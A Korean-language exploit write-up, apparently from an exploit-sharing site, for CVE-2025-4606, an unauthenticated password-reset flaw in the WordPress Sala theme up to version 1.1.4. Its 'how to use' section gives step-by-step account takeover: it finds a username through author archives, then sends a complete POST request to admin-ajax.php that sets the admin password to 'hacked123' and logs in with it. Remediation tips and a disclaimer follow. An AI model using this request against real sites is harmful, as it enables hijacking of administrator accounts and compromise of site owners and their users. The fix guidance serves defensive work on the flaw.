CVE-2025-4606- WordPress Sala 테마 <= 1.1.4 - 인증되지 않은 권한 상승 (비밀번호 재설정/계정 탈취를 통한)

🔥 취약점 요약
WordPress 테마 Sala 버전 <= 1.1.4는 인증되지 않은 권한 상승 취약점에 취약합니다. 이 결함으로 인해 인증되지 않은 공격자가 요청자의 신원을 확인하지 않고 노출된 AJAX 엔드포인트를 직접 호출하여 임의의 사용자(관리자 포함)의 비밀번호를 재설정할 수 있습니다.

이 취약점은 wp_ajax_nopriv_에 등록된 change_password_ajax 함수에서 비롯되며, 이 함수는 요청이 승인되었는지 확인하지 않고 유효한 사용자 로그인에 대해 새 비밀번호를 설정합니다.

🔍 영향받는 테마

• 테마 이름: Sala – 스타트업 및 SaaS WordPress 테마
• 영향받는 버전: <= 1.1.4
• 취약점 유형: 인증되지 않은 권한 상승
• CVE ID: CVE-2025-4606
• CVSS 점수: 9.8 (심각)
• 영향: 완전한 계정 탈취 (관리자 포함)

🧪 익스플로잇 특징

• 🔓 인증 불필요
• 🔄 유효한 로그인 이름을 제공하여 모든 사용자의 비밀번호 덮어쓰기
• 📬 AJAX 엔드포인트 /wp-admin/admin-ajax.php?action=change_password_ajax 를 대상으로 함
• 🧠 공격자가 유효한 사용자 이름(예: admin)을 알고 있으면 즉시 작동

🧠 연구자

• 크레딧: Thai An

🚀 사용 방법

1. 대상 WordPress 사이트에서 유효한 사용자 이름을 식별합니다. 다음을 확인하여 이를 수행할 수 있습니다:

   • 공개 작성자 아카이브 URL (/author/username)

2. 사용자의 비밀번호를 재설정하기 위해 다음 POST 요청을 작성합니다:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. 성공하면 위 예시의 새 비밀번호(hacked123)를 사용하여 대상 사용자로 로그인할 수 있습니다.

4. /wp-login.php에 접속하여 액세스를 확인합니다.

🛠 수정 권장 사항

• 테마 개발자는 wp_ajax_nopriv_change_password_ajax 훅을 제거하거나 보호해야 합니다.
• 민감한 작업을 허용하기 전에 항상 is_user_logged_in()을 확인하고 사용자의 신원을 확인하세요.
• CSRF 및 인증되지 않은 악용을 방지하기 위해 nonce 검사를 구현하세요.

🔒 면책 조항:
이 정보는 교육 및 공인된 침투 테스트 목적으로만 제공됩니다. 시스템의 무단 악용은 불법이며 비윤리적입니다.

📚 참고 자료:

• Wordfence 보안 권고